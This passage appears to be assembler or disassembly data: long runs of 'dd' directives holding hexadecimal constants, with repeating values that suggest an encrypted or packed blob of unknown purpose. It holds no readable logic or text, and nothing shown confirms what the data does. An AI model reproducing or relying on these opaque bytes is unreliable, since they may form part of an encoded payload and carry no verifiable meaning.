9B691132h, 1566883Dh, 15664EDBh dd 0E99B6A32h, 0C1954102h, 7D0F840Bh, 89012F6Ch, 1579A33Dh dd 0FD061132h, 15668826h, 18BAB8FBh, 45361599h, 0D10E8B61h dd 3FDEE104h, 0F334B148h, 0FD95A26Ah, 8CD3EE53h, 0E9609826h dd 2F54C1BFh, 1F8F2422h, 24661132h, 0E9E740C2h, 1D9CC266h dd 0FCB6DD73h, 15661120h, 0DC57144Bh, 0FA3A0C8Ch, 0EA0AD810h dd 0D8BE37EEh, 90EF6E2Bh, 1371E10Ch, 156632DBh, 0EC480232h dd 0D9BD06AAh, 0EFF7AC76h, 541DAECBh, 0F0E3D7B6h, 41609811h dd 1A96CE52h, 156627BFh, 0B004A932h, 7D07B414h, 0FB042C1Bh dd 156630DBh, 5F72A832h, 4F5CA650h, 20B190A3h, 0C5F27741h dd 0EA092934h, 5721187h, 90EBBC34h, 13761800h, 156F953Dh dd 0A4068832h, 0CBE722E0h, 0EA07BBD6h, 90EFE9E2h, 13712D70h dd 156EC93Dh, 97692232h, 15661130h, 90A0E952h, 137667D7h dd 0D70EDE77h, 0FCBC710Ah, 1566883Fh, 0B608A07h, 0A3B31Fh dd 5CD2D99Fh, 8CD37798h, 0E0605426h, 2F54A7BFh, 9B691722h dd 15668835h, 1567C23Dh, 0EA9E2232h, 1576F8E2h, 32E08832h dd 0E07E9C59h, 0DE31BADAh, 85386BFFh, 90EFB5ABh, 1371E174h dd 15E32D52h, 94661132h, 0BF51ACD8h, 0A8E52564h, 1376003Bh dd 75E31E32h, 1A668833h, 15665CBFh, 1575CB32h, 0DD261132h dd 5449FFC3h, 0B49DB242h, 82049F13h, 1FBC35A8h, 0F0E34EE2h dd 50605411h, 15ED2D52h, 73661132h, 0FC0743B9h, 1566443Ah dd 1D6B910Ch, 0CB5CFB18h, 35180E5Ah, 0BE54BC8h, 1A662232h dd 156609BAh, 15756132h, 3A2A4432h, 932A253Eh, 0DC8AEB90h dd 0BB187491h, 0C7B1EFDFh, 8CD3DDFCh, 0E0600126h, 2F540DBFh dd 75064222h, 156633DAh, 78FDCC32h, 0CE45CC57h, 72191031h dd 6DBC6091h, 7339AB18h, 3A2941B3h, 74A7CF53h, 1E8FF2CDh dd 6D661132h, 331C8D04h, 669892Ch, 90EF3C80h, 1371B478h dd 15776052h, 8E514432h, 8317392Dh, 6DBF2B45h, 38056711h dd 0FD7A5436h, 1566223Dh, 5631D113h, 5F10177Bh, 3E77590Eh dd 4F8AEA47h, 0E491916Bh, 0F0E34E53h, 59605411h, 966942CBh dd 15661130h, 90693F87h, 15664433h, 0D60E43C7h, 1A8637E2h dd 156689B6h, 0A099B832h, 137636ABh, 156614DBh, 5AF91032h dd 1A8F955Fh, 0E662232h, 8AD5E1F0h, 9EE4F502h, 48B7FED3h dd 90EB6EFFh, 13762B00h, 0C6D18752h, 0EA071A63h, 156CCBE2h dd 2C2C1132h, 0D5341FD8h, 8FADDA6Ch, 0B028A7BBh, 1F8F1725h dd 0F7668832h, 0AE4A1AECh, 0F7154EFCh, 145CF8FEh, 0D39F8832h dd 545A1B7h, 7D9F7034h, 0A92CF53Fh, 19B90952h, 1A2C2D4Bh dd 156627B4h, 0F677AE32h, 0EA07B0A3h, 5693D87h, 198FDE34h dd 0A2661132h, 0D955CEFh, 19A49B74h, 988AE87Ah, 55C23B7h dd 19E78734h, 1A664432h, 156624B1h, 15E81E32h, 0EA668832h dd 0E90624E2h, 15662FDAh, 0C8901B32h, 310B002Fh, 8E501295h dd 743E713Eh, 5FE39853h, 1A609F97h, 15666CBEh, 128E4232h dd 2661132h, 2FA686FFh, 0FC3FB04Eh, 15662226h, 0E7CEC6A3h dd 0BDA544Fh, 0E86479B9h, 0A00F9F4Ch, 9C064115h, 0F0E34E53h dd 47605411h, 15662DDBh, 2AB43F32h, 0A5E072CEh, 0B9DFC11Eh dd 0C6AD7F9Dh, 592C595Ah, 156D6194h, 0E6D44432h, 0AE46C10Ch dd 7AAA4520h, 6CD37757h, 1A60543Dh, 156632BBh, 156DF832h dd 0AE5D8832h, 0E0AADE5Dh, 19894426h, 27E39C75h, 75609808h dd 0A04DB5B3h, 188F42E7h, 0FE661132h, 0EF115EABh, 0A285A75Dh dd 0FF15D6FBh, 156AF853h, 48778832h, 0AA6CF7BFh, 7DA33080h dd 0C599404Bh, 5BE301CBh, 0FC605397h, 15662222h, 0CE43DCBEh dd 539F6C8Fh, 4BDAD8DCh, 0AE304090h, 368394F4h, 1A348E22h dd 156643BAh, 0ECEC4232h, 74BFAE3Dh, 57D2625Ah, 0A099B8CFh dd 137636ABh, 15661CDBh, 0B4AAAE32h, 5CDDC7Eh, 2E6CE5EFh dd 1D8FD87Dh, 83668832h, 0E045D73h, 9890E898h, 55C23B7h dd 0C5997434h, 7CE3CDC7h, 0EC60323Fh, 368394F4h, 75118E22h dd 3E8894B3h, 0FFE63A11h, 0B60E7035h, 0FC951F9Ah, 15664434h dd 0CDF48CEFh, 0A09964ABh, 1376A8D7h, 15664FDBh, 74631532h dd 7BF2AA90h, 0E16C4EBEh, 2F54C1BFh, 0EC9F2422h, 0FD06C1CDh dd 15668822h, 6E45E01Ah, 0AAC8829Ch, 55B069C4h, 0C40320D2h dd 4B9CFB3Dh, 90EF43CBh, 137610F7h, 0F0E34ECEh, 47605411h dd 940042CBh, 1AFD35E1h, 7D077A8Dh, 9FBB7525h, 156628DBh dd 8FD97332h, 2998348Eh, 0EA0A3543h, 572BB87h, 1B8E7134h dd 0E7668832h, 0E5B49DB6h, 7BD2C511h, 0B06DCCDEh, 0EED187C9h dd 74A7CF69h, 2F54A7BFh, 0ED931722h, 750658CDh, 0AE96CF54h dd 2BE8D193h, 0E6D91E53h, 0A8E30153h, 0E0605432h, 3683A7F4h dd 75301722h, 1AB55DB2h, 7D07928Dh, 0C1794F0Bh, 15661CDBh dd 2ED54432h, 4675DA44h, 1DD6C05Dh, 0A09971A5h, 13769577h dd 9FE3C9CBh, 756031B7h, 0AA692480h, 0C599E9CBh, 156CC83Dh dd 73062232h, 0A3ACC8B3h dd 74960354h, 3AD3C1BBh, 45062422h, 4B7FDCB2h, 8EBB60B3h dd 0D3077512h, 545C7B7h, 58F5634h, 0E4668832h, 0EE314CC2h dd 0D02EAF22h, 51550C24h, 7D3D75D3h, 94BA5448h, 8CD3DDCEh dd 0FC600126h, 1566883Eh, 0F392868h, 6488771Fh, 2E59B6C1h dd 0E6D8EE52h, 90EB25ACh, 13761800h, 15709B3Dh, 0FC068832h dd 1566443Dh, 0A8DBC8CDh, 0A9E4C5D4h, 7F7C82F6h, 742DAB09h dd 1A9FF2CDh, 156607BBh, 15776132h, 29EB4432h, 0E68AE65Ch dd 923B0282h, 0ECBC8517h, 9CD4AB9Eh, 57C53B7h, 1DEB1E34h dd 75668832h, 3EC5FB54h, 0D3077862h, 545F4B7h, 7D9ACF34h dd 9F69F1D0h, 156AA73Dh, 99691132h, 15668834h, 1566C23Dh dd 0A0992232h, 137605ABh, 1572003Dh, 1A8F4432h, 89662232h dd 6CA2D09Ah, 0DEEB6D07h, 96199411h, 90EBFD7Bh, 13762B00h dd 156685DBh, 0C0EAB732h, 703498AAh, 1EEFBD01h, 0C599B3A3h dd 0A2691252h, 9C077DF8h, 2C37FB7h, 19E28734h, 1A664432h dd 156624B0h, 15E81E32h, 75668832h, 15664DDBh, 8AC47F32h dd 5D653E1Bh, 75373359h, 0D2071F53h, 54157B7h, 15666934h dd 0AA69E832h, 93C6FEFCh, 75072533h, 8490A954h, 74A40354h dd 250BF9B1h, 1A662422h, 157F18B6h, 90A07032h, 137667D7h dd 1D8E427Eh, 0F4661132h, 91611C80h, 0A4C2B1EEh, 108F7A84h dd 0D6661132h, 623DAE03h, 98F2C53h, 9F06FBE8h, 74A49ACFh dd 1FF3DCDh, 989F4222h, 55C10B7h, 156AF834h, 1C8F8832h dd 0CF69A6Eh, 0D7D24971h, 0C5999B71h, 156686DBh, 0CEA27F32h dd 0E8FE7CC0h, 0B6A67C3Eh, 9CF05917h, 2C31EB7h, 9CD94234h dd 1A3D9777h, 0D3074685h, 545A1B7h, 9E066E34h, 1576F8EAh dd 41008832h, 2169DC02h, 60E05B15h, 482CE0F7h, 7D07040Ah dd 0C8129AFCh, 10E52D52h, 73661132h, 6445EB3h, 156656DBh dd 0F1F32932h, 32C48463h, 4AA54E75h, 131E02D9h, 74364C22h dd 1FFA4CDh, 68F8E22h, 0E1664432h, 6349744Ch, 0DC32B468h dd 7F015869h, 0FC265154h, 90EBC4DEh, 13762B00h, 0D2E7E8C7h dd 157F9C3Dh, 0EA079982h, 128E71E2h, 0C668832h, 6B4D009Fh dd 31D3F5F1h, 9969706Ch, 15668833h, 4BE3CDC7h, 0EC603597h dd 368394F4h, 0FC2A8E22h, 15664437h, 0B268C894h, 1561F822h dd 0C0CF8832h, 6BFA1421h, 97594A7Ch, 0E006A6B3h, 15669CDAh dd 0E6D6D732h, 5836E886h, 0D33F5342h, 0B9B3C04Fh, 0C3753779h dd 0C4E744CBh, 7439536Eh, 156687DBh, 0D0A5F032h, 4F72AB0Dh dd 6F7A3C59h, 0E0ADB7C5h, 1FFF1CDh, 73062422h, 0F3A5FEB3h dd 74B50354h, 2F54C1BFh, 1A062422h, 1B8FD685h, 47668832h dd 313CFB10h, 0CAE0D1A8h, 52734630h, 198FE976h, 0D2664432h dd 5C615D06h, 0E247B59h, 0EAAD2778h, 9C9EBCE2h, 2C340B7h dd 7E11E34h, 0FC668832h, 1566443Fh, 1C873A56h, 0EEC690F6h dd 0E9477609h, 90A0B8C6h, 137601D7h, 19EF1E7Eh, 1A668832h dd 156642BFh, 15EA2D32h, 1A661132h, 156689BEh, 0D0EBD32h dd 0E9D50D72h, 1FFA4CDh, 989E8E22h, 55C76B7h, 156FCB34h dd 8CC1132h, 0E1C8CFCDh, 0FC49124Ch, 15662238h, 0C657B79Bh dd 0A2C1F388h, 0C59985CFh, 15662ADBh, 0F43C7B32h, 0A9B07409h dd 77E3CDEAh, 75603597h, 45B59A54h, 15669CDBh, 68108C32h dd 1E7A8E0Ah, 0DAC821A8h, 8FC5F782h, 55B7032Ah, 75077AE7h dd 1563F862h, 0FC378832h, 4D40ACF1h, 0D307E9B9h, 545F4B7h dd 7593CE34h, 156641DBh, 65F55D32h, 58F5CDAh, 0C3668832h dd 29289CA3h, 581C7013h, 3007C30h, 7455598Ah, 0CB60505Ah dd 4A304288h, 74AC9A54h, 1FF3DCDh, 95064222h, 0AC00BDF4h dd 9807C7E3h, 55CBAB7h, 45DF2434h, 1A2310ABh, 156617B1h dd 15EF8732h, 74664432h, 1A8FF2CDh, 72661132h, 2F33D916h dd 5546A68Dh, 0CECEE478h, 90EF5364h, 13712D58h, 0AB9CCF52h dd 5A2A0FE8h, 0F0E3D753h, 52609811h, 51C2CCBh, 1A06A3EEh dd 156614BDh, 0CDE7EE32h, 9400FCD7h, 749CDEE1h, 1FFA4CDh dd 0FC068E22h, 15664438h, 317B43F4h, 0D738CDA5h, 9169F6E7h dd 15664430h, 98077861h, 55C23B7h, 15616134h, 10314432h dd 0B5C3CC73h, 75B6EE0Dh, 9C0776B9h, 2C336B7h, 90A0DE34h dd 137632D7h, 15606175h, 1E284432h, 9B129D8Eh, 92E8BD5Ah dd 1FE987DDh, 75664432h, 9E694352h, 15661132h, 8CD37753h dd 75605426h, 15662BDBh, 0EFD0B732h, 0F853F9EAh, 57DE1572h dd 747E9FCDh, 1567903Dh, 989F8832h, 55C76B7h, 156ECB34h dd 5B621132h, 39E46C82h, 0EA9ED8CDh, 12ED2DE2h, 75661132h dd 5A095A8Ch, 90EF252Eh, 13718744h, 0F0E3D7C7h, 52609811h dd 156657DBh, 0D7796E32h, 1AD9ACFEh, 0A6FE8C47h, 0EB63B95h dd 798D9FD2h, 8FC1C35Ah, 0A106E8E6h, 0E6ED2266h, 1EEC2D53h dd 0FD661132h, 15668837h, 2A29459Dh, 75077861h, 6D76D1B3h dd 9E008082h, 0A09925CBh, 137636ABh, 15679D3Dh, 989E8832h dd 55C76B7h, 1DEC2D34h, 1A661132h, 15668AB7h, 0FC072432h dd 1566223Ch, 1CC35018h, 946013D2h, 815725A0h, 0C59987EEh dd 0CEE1ECAh, 0FC668832h, 15664426h, 53D2B7Ch, 8BFFF21Fh dd 837EEB5Eh, 0CC49DB0Ah, 55996269h, 0B01C94BBh, 58F8E25h dd 74664432h, 0F33BA20Ah, 9CB87646h, 3F897CB7h, 0D3969775h dd 545C7B7h, 9E695634h, 15668835h, 1567C83Dh, 7D932232h dd 0AFA72836h, 1573083Dh, 58F4432h, 9A662232h, 5C2DA33Ch dd 39547F45h, 850DBDh, 0E0A62FE9h, 1FFA4CDh, 989E8E22h dd 55C76B7h, 13EB2D34h, 75661132h, 0ED96373Dh, 0EDB6BB53h dd 0B018A7BBh, 969E1725h, 577498Fh, 90694434h, 15662291h dd 1560903Dh, 0E9068832h, 74E5A6B2h, 3683A7F4h, 0FC211722h dd 15668820h, 59F00070h, 29EFB5D5h, 881DD9F8h, 0AB1E0625h dd 720E46DBh, 1A86501Fh, 156619BAh, 9C69E832h, 15664432h dd 8CD3DD53h, 0FC600126h, 1566883Fh, 7F103BEFh, 7579981Dh dd 0B85CE2BCh, 7EC8715h, 0FC664432h, 1566223Fh, 2A7A311Ch dd 272CCC74h, 38F942B3h, 27E3AF7Ah, 1A600108h, 156684BCh dd 13E84B32h, 1A662232h, 156611BCh, 1DE48732h, 1A664432h dd 156620BDh, 0EA077132h, 99D7E8E2h, 0EC07AFB8h, 0B0E4A7BBh dd 0D39E1725h, 5456DB7h, 93690334h, 1566222Ah, 1568F952h dd 1E028832h, 545DF0D0h, 2F10ED76h, 7482F460h, 7407E86Ch dd 3CD5F55Ah, 1B8E42BCh, 31661132h, 0BB3F9241h, 12D82AE4h dd 0E34DDE2Ch, 0AC0049EEh, 0ED0741BCh, 1FFF1CDh, 188F2422h dd 45661132h, 5F93EA89h, 0F405C74Bh, 823B150h, 2F5494BFh dd 9E698E22h, 1566442Ah, 1576CA52h, 5D131132h, 0BFC587EFh dd 0B5053030h, 9817627Fh, 743DCC2Dh, 108F58CDh, 0CF664432h dd 568FF39Ch, 0B0E094BBh, 0D39E8E25h, 545A1B7h, 18F6134h dd 13661132h, 7990739Fh, 67DE2549h, 90ABCE0Ch, 0EC6B9B42h dd 7D4AD94Fh, 0D5100E95h, 1568AA3Dh, 1C8F1132h, 61668832h dd 0C1077B1Fh, 3C815C55h, 1FFA4CDh, 108F8E22h, 69664432h dd 0F375E168h, 2F5494BFh, 98698E22h, 15664433h, 0FCB6DDCBh dd 1566113Dh, 19E94142h, 804893D5h, 4EA8523Bh, 9C68226Dh dd 2C302B7h, 1560AD34h, 2C672232h, 6763EF05h, 36830DF4h dd 0EC2A4222h, 730AC95Ah, 0A099E9C9h, 1376A8D7h, 156650DBh dd 4E992332h, 615750CCh dd 5719019Ah, 0BA5843ACh, 0C7331BCDh, 27E39CC6h, 0ED609808h dd 9C9A94CDh, 2C03CB7h, 1574F834h, 7B338832h, 70D55271h dd 0F0B66B78h, 2D641748h, 0B156F899h, 3683C1F4h, 75222422h dd 15729B3Dh, 1B8E8832h, 65664432h, 0EB52AACCh, 81A34756h dd 936B11B2h, 188E1DF3h, 15662232h, 30E22FE8h, 0E759A01Eh dd 0CD825208h, 74387B61h, 156601DBh, 18B0932h, 7CEDCE6Ch dd 0AAE950C9h, 5CB62C93h, 9B33E06Ch, 0EA93FF41h, 572BB87h dd 12EA1E34h, 1A668832h, 156645BFh, 90EBD732h, 13762B00h dd 156686DBh, 3BA39432h, 0D4025D69h, 0D385B5DAh, 75617165h dd 7531FE80h, 0EA077A53h, 1A9E71E2h, 15668AB1h, 74072432h dd 0B0E8A7BBh, 68F1725h, 8C668832h, 60B307B1h, 0AF6A76E0h dd 0B56777ECh, 4FFEFD49h, 1A065BC5h, 156626B0h, 3DE7732h dd 0FBE7EE05h, 0D307C20Bh, 545C7B7h, 7D9F5234h, 0A9E8E6CEh dd 5E04B52h, 0FD662232h, 15661138h, 0C1B47DC8h, 92448E6Ch dd 733E8452h, 0FEA9D1B3h, 8CD37753h, 0E0605426h, 2F54A7BFh dd 1A8F1722h, 0B1668832h, 1AB5157h, 0B7D544Ch, 50FB201Ah dd 0C5999995h, 7380CE52h, 7E86E2B3h, 9AD87153h, 0FD02471Ah dd 15664437h, 12465D05h, 9C0749B2h, 2C31AB7h, 1569AD34h dd 0EAD42232h, 0FBC17DF0h, 8B556701h, 8C82A34h, 0F0E3E469h dd 46600111h, 15776052h, 250B4432h, 44B12229h, 1FA7E774h dd 3830B427h, 4ED834ABh, 4AA4A965h, 2BCC7953h, 0EA9A4E22h dd 572DD87h, 19E02D34h, 1A661132h, 15668EB6h, 15EA4B32h dd 98662232h, 55C23B7h, 15606134h, 0A9684432h, 3B30CD62h dd 9969C1CDh, 1566883Ah, 0EBED2252h, 74B0A954h, 0B0F094BBh dd 92698E25h, 15664433h, 36D742CEh, 15E21E52h, 74668832h dd 0BCDBC753h, 15603200h, 164C953Dh, 75068832h, 43949DB2h dd 0AA00436Bh, 0D3079374h, 5456DB7h, 92690234h, 15662225h dd 1577923Dh, 198F8832h, 0AA664432h, 8A8783Bh, 16B55909h dd 7516CDBEh, 9D7FFD52h, 749E79D2h, 156603DBh, 7F203532h dd 0D339CC6Dh, 0C83AD499h, 0F1FF2889h, 745D8ED7h, 83A8755Ah dd 14E42DC8h, 0E0661132h, 1FF3DCDh, 94694222h, 1566223Ah dd 15649A3Dh, 74068832h, 2F54C1BFh, 1A8F2422h, 6F661132h dd 0B4692357h, 6679075Fh, 262F9D95h, 9169C282h, 15668822h dd 156CC63Dh, 108F2232h, 8C661132h, 0C88C177Fh, 950694CDh dd 9400F8F2h, 74798BC2h, 0B0940DBBh, 198F4225h, 60662232h dd 41144FFEh, 0E2D72BDEh, 0D3392F8Eh, 545C7B7h, 0FC9E5734h dd 15668838h, 722D6421h, 0DB3C2B8Dh, 0C30E2A2Fh, 1A9A2F08h dd 156648B7h, 13EA2D32h, 1A661132h, 156688B0h, 8CD3BB32h dd 0FC603226h, 1566113Ch, 0FCF1CF1Ch, 0AF2049EBh, 34BD8B42h dd 7506E705h, 652F438Dh, 1C8E2571h, 0E5662232h, 64544BD7h dd 9EE5A9DDh, 1566C13Dh, 74392232h, 2F5494BFh, 0AB068E22h dd 374D6497h, 21B0A354h, 0C599701Fh, 1567063Dh, 9C9E4432h dd 2C020B7h, 90A0E934h, 1376ABD7h, 150EB874h, 1AF4DE96h dd 156610B6h, 0EA9E7032h, 572DD87h, 156ECB34h, 67CC1132h dd 20E7BBFAh, 90EB03CFh, 13761800h, 156618DBh, 0A67E3E32h dd 46170A15h, 0C5992317h, 1AF9A252h, 9C07718Dh, 2C042B7h dd 14E42D34h, 0EC661132h, 36830DF4h, 75204222h, 74A9A954h dd 0C1297B5Ah, 156961C4h, 25384432h, 7A5C0710h, 3793DB91h dd 4815358Ah, 8CD3BB15h, 75603226h, 19DFBB80h, 7403D5D1h dd 27E3C9C7h, 75603208h, 0EA07EBB9h, 1FE187E2h, 0FC664432h dd 15662237h, 0B15780D3h, 1FE30168h, 0E9605394h, 3683A7F4h dd 1A201722h, 15668FB8h, 0A2692432h, 74B894CCh, 0D836F65Ah dd 0FC93E8A6h, 15664434h, 36925B97h, 0FC0711B9h, 15668837h dd 5E2F63B6h, 8CD3DD8Ch, 75600126h, 2BB3EF8Dh, 0C3E72275h dd 1A07046Ah, 156619BAh, 17E68732h, 75664432h, 27E3AF53h dd 0E0600108h, 1D8F58CDh, 0A1664432h, 8BC4A078h, 1AF418D5h dd 156689B0h, 90EFBC32h, 137187C4h, 0E7E77752h, 0D3073C20h dd 545A1B7h, 1C8F6434h, 12661132h, 70622896h, 0E5FC0F87h dd 3712195Ah, 0E4ED7183h, 0A0997153h, 137650ABh, 27E3AFCAh dd 1A600108h, 156689BAh, 1C8FB832h, 61662232h, 704B3BAFh dd 6FDD8036h, 48F94CDh, 0A5662232h, 4F3BDD50h, 34FF9488h dd 0A83F6F37h, 1BE651D8h, 0EFE398C7h, 1A609F97h, 156645B5h dd 9C69DB32h, 15661124h, 156699DBh, 46725432h, 0BD9C04ACh dd 0F47F5F2Dh, 0FB6C880Ah, 90A07F2Ah, 137601D7h, 0B3DC7174h dd 0EC1A4BB6h, 0FF8B2C53h, 0EA9FFD4Bh, 5728887h, 4F36E834h dd 9807AAB8h, 55C10B7h, 0C599E834h, 64A40852h, 0EBE3CD53h dd 0ED603597h, 4A7ACB1h, 1A668E22h, 156618B7h, 0D39ADB32h dd 545F4B7h, 7506DB34h, 74B5FB3Dh, 7D07C987h, 0DBD8F16Ch dd 15670A3Dh, 0EA934432h, 572BB87h, 188FED34h, 2B668832h dd 49CD3078h, 9960752h, 668773DDh, 2F540DBFh, 108F4222h dd 0E5662232h, 0EA4403A3h, 730658CDh, 43B9C28Bh, 9BA69D54h dd 90EF706Ch, 13712DA8h, 0F0E382C7h, 52603211h, 0E7ED7752h dd 0FF2441B3h, 7D0727A8h, 0D2D77CB5h, 156617DBh, 5FB54932h dd 0EA08FA45h, 572BB87h, 11EF1E34h, 75668832h, 98072552h dd 55C10B7h, 5E71E34h, 0FC668832h, 15664439h, 2104EA89h dd 0A676B0DAh, 0ED105F0Dh, 1E8F94CDh, 0A3662232h, 2017C9C8h dd 6C37C8DFh, 9169F1CAh, 1566223Dh, 15661BDBh, 6C85C532h dd 172AA7F8h, 9C799C84h, 2C38FB7h, 156B6134h, 6CD84432h dd 6FCFA36Dh, 0DCF136C0h, 750E5CA6h, 15664BDAh, 0BB4C0632h dd 2978D6D3h, 1E50CEA3h, 98EAEFF6h, 753EC4B8h, 156605DAh dd 102A9432h, 0A3D6549Ah, 0A482D72Eh, 3DD17DC0h, 0D7BB65B2h dd 98691CA0h, 15662232h, 0A8E57053h, 137699F3h, 9CE34B32h dd 75662232h, 0DAED4087h, 0F0E34E53h, 52605411h, 6B634ACAh dd 0AB06F750h, 5D89A9EAh, 15664ADBh, 14D67332h, 0FA140AF8h dd 1CFF3CAAh, 74D5DB9Eh, 1FF97CDh, 75061722h, 18F78B9h dd 1664432h, 4C741C72h, 0ADD56A84h, 24C28EF6h, 36552673h dd 747C5F4Ah, 74BFAE3Dh, 2F540DBFh, 58F4222h, 0E7662232h dd 0B0F0AE3Ch, 0CBAC8AEAh, 85ED5704h, 0EA24169Eh, 156DF8E2h dd 84A88832h, 0FA5D7D2h, 7EB68D3Bh, 0B7E39851h, 0E0609F97h dd 3683C1F4h, 1A252422h, 156607B8h, 15776132h, 49254432h dd 0C20191EAh, 9DCAD59Ch, 3FAE0B0h, 7DE20D54h, 871C2BC4h dd 0E6ECE452h, 8CD37753h, 0FC605426h, 1566223Eh, 8E75A38h dd 9ECF0836h, 5A455C74h, 1569CA52h, 0E10F1132h, 505F87E1h dd 97E06869h, 99CAAAB4h, 4BA19A6Eh, 0D1AF59B3h, 9807365Ah dd 55C10B7h, 0C599E434h, 0B3E301CAh, 0EC605397h, 3683A7F4h dd 1A251722h, 156684BBh, 13E74B32h, 1A662232h, 156611B9h dd 8246E032h, 9269B813h, 15662233h, 8CD3EEC7h, 1A609826h dd 15665EB1h, 1E72D32h, 0FC661132h, 1566883Dh, 6753304Eh dd 0EBD394Bh, 587E913Fh, 0E09B209Ah, 2F54C1BFh, 0FC062422h dd 15661139h, 4CCD5757h, 7CCC9C0Fh, 0AB313096h, 4387E6BAh dd 1AB67753h, 15664EBBh, 1563CB32h, 0C71B1132h, 9C921F5Eh dd 2C3EEB7h, 11EB2D34h, 75661132h, 96075EB9h, 577858Fh dd 90692234h, 15661014h dd 15669BDBh, 57BCE832h, 798C6E19h, 145B493Dh, 0E9B240FFh dd 1334118Bh, 3683A7F4h, 1A251722h, 15669AB2h, 156BAD32h dd 0A8E62232h, 8787E2F9h, 3054EEB3h, 7D8783F8h, 9E668A31h dd 156616DBh, 0A0529D32h, 0B2FE1C36h, 1FF97CDh, 73061722h dd 980743B9h, 55C76B7h, 34D84234h, 7342D09Ah, 745E1688h dd 9C6994CDh, 1566223Eh, 1560933Dh, 99698832h, 15664432h dd 0B0D4A7BBh, 0D3931725h, 5456DB7h, 78F0734h, 5662232h dd 0D4F387DDh, 0E0D0631Dh, 87F1674h, 8D98221Eh, 23B379AFh dd 95696D69h, 1566443Ch, 15662BDBh, 0DA2E6632h, 2A6A2F18h dd 0EA9E6E44h, 572BB87h, 156FF834h, 0E6A48832h, 5541217Ch dd 980A36F9h, 55C23B7h, 0EA9A7034h, 0F5E724E2h, 3380FB9Bh dd 0FC07FEB8h, 15668839h, 894918BAh, 0F4627E1Dh, 9C88810Fh dd 2C326B7h, 90692434h, 15662226h, 15661EDBh, 6AE68232h dd 137211C1h, 616B6546h, 411813F6h, 156698DBh, 6709A732h dd 0ABFAB2E9h, 25252197h, 53BFA823h, 90A025FCh, 137601D7h dd 0F40EE471h, 758C2200h, 8F87C560h, 4F01A506h, 156617DAh dd 1BA71A32h, 0FC30103Eh, 15662234h, 3687A30Eh, 743F9D14h dd 1FFF1CDh, 1F8F2422h, 0BB661132h, 2F38CC78h, 76D26ED8h dd 27E3AF52h, 0E9600108h, 156F6152h, 39D94432h, 0BA06A418h dd 73595E33h, 0DB7362B3h, 75B6BB53h, 775A118Bh, 0A4D87762h dd 90EFE9DAh, 1371E184h, 90A0DBCAh, 137632D7h, 0CEB8771h dd 0FC664432h, 15662226h, 997BA8C6h, 681040EDh, 1E7AE80Ah dd 0DAC812A8h, 8FC56E82h, 0E4CABF5Ah, 10EB4BB6h, 75662232h dd 74A5AE3Dh, 1FF3DCDh, 98934222h, 55C10B7h, 0C599ED34h dd 0AFE301CBh, 1A605397h, 156626B2h, 0CDED7132h, 0F0E34E53h dd 5A605411h, 0DAD12D52h, 1564973Dh, 4B368832h, 0C10EBC53h dd 0FCF117A2h, 1566113Ch, 98820912h, 0E310A7E6h, 37EE6E83h dd 9469FAFFh, 15668833h, 8CD3BBC7h, 75603226h, 15E01E52h dd 1A668832h, 156644BAh, 0FC064332h, 1566113Ah, 417664E1h dd 767F34F8h, 0C8B4638Ch, 0ED07703Fh, 2F540DBFh, 0EA934222h dd 14EB2DE2h, 0ED661132h, 0B0D80DBBh, 99694225h, 15662233h dd 0FC0671CBh, 15668821h, 0E24EF0EBh, 3C69616Fh, 30B3E2CDh dd 0E314E821h, 73BAFD67h, 742E198Ah, 15669A3Dh, 0D3078832h dd 545A1B7h, 98696D34h, 1566112Ah, 15669BDBh, 9E6CF332h dd 14C197DBh, 652EF325h, 4B4D6C45h, 0D9E22A5h, 7B68205Ah dd 0A099E8CBh, 13769CABh, 1572CE3Dh, 0FC062232h, 1566113Fh dd 0F7D36AA0h, 45EEFE1Ch, 5F934089h, 90EB704Bh, 1376B200h dd 0EDB6BBCBh, 15662CDBh, 9E486432h, 0CD9F669Fh, 59C78814h dd 9C7689AAh, 2C3D3B7h, 57D0E834h, 0FAA9C552h, 755255ECh dd 0D3077053h, 5456DB7h, 94060934h, 0B28BDBFCh, 94004250h dd 4E7B34E0h, 6C2F2C53h, 9569EA05h, 15661135h, 1567053Dh dd 0EA934432h, 572BB87h, 90EBE934h, 1376B200h, 4AD82252h dd 0E6E7448Ch, 0EA07FDD3h, 90EF7DE2h, 1371E1F8h, 0F0E3E4CAh dd 58600111h, 15668FDBh, 0E3961B32h, 0C6F7D149h, 0E22B985Ah dd 1BE187EEh, 0FC664432h, 1566223Bh, 84ADFA00h, 45E75C49h dd 12EC4B08h, 75662232h, 0CCE64A61h, 0A099E93Fh, 137650ABh dd 1567AF3Dh, 98931132h, 55CBAB7h, 0FC362434h, 1566223Eh dd 52C96758h, 52F2FAACh, 50270EDFh, 15ED2D6Bh, 74661132h dd 976958CDh, 1566442Bh, 156636DBh, 0DB47F132h, 0B0FB5948h dd 2ECD55AFh, 585BCEFCh, 0C353B149h, 0D3E30189h, 0E0605397h dd 3683A7F4h, 0EC331722h, 0E4BBF5Ah, 14E04BAEh, 0E0662232h dd 1FFA4CDh, 1F8F8E22h, 26664432h, 40E24CCEh, 5DC0AF4Dh dd 27E305E6h, 0E0605408h, 9C9EF2CDh, 2C3DFB7h, 1C8FE834h dd 0E7664432h, 0A9DC5893h, 5AC1126Eh, 1572023Dh, 1A8F4432h dd 3F662232h, 9E20ADD6h, 1CA3F537h, 0B107EBF2h, 0FC07D838h dd 1566113Fh, 31A65071h, 98E71F3Ah, 676D769Dh, 0F0E3D74Dh dd 56609811h, 3F0EBDC7h, 0FCB4F7C2h, 1566113Eh, 9A9AEAB2h dd 8DFD26ABh, 0F0D991A2h, 1FFA4CDh, 78F8E22h, 2B664432h dd 5AA42A27h, 5AE6AB44h, 1E2B4576h, 7DBD587h, 27E3AF24h dd 0FC600108h, 15668826h, 27C24DB3h, 7228A759h, 96E04E7Ah dd 4C893134h, 8C2D269Bh, 68FF2CDh, 9C661132h, 183142A7h dd 825766B6h, 92C21E11h, 0F9E435F0h, 90EF3103h, 1371E1E0h dd 0DCAEA352h, 0FD52B36Ah, 15668839h, 0C2FBFF43h, 0E541B776h dd 7374491Ch, 743E70B9h, 3683C1F4h, 75342422h, 1C84E0B3h dd 9C698AE3h, 15664436h, 0DAF19954h, 0A18C7953h, 0EA9F7570h dd 572DD87h, 1561CB34h, 0A8331132h, 967E2EBCh, 27E3C9C2h dd 1A603208h, 15661DB3h, 13EF8732h, 1A664432h, 156622B1h dd 0EDB6EE32h, 7CE301CEh, 1A60543Fh, 156631BEh, 1568F832h dd 7D5E8832h, 4D594A40h, 6AFEA2BFh, 2F8ED6A9h, 1570083Dh dd 9E694432h, 15662222h, 15661ADBh, 0ABF42432h, 0D61DE271h dd 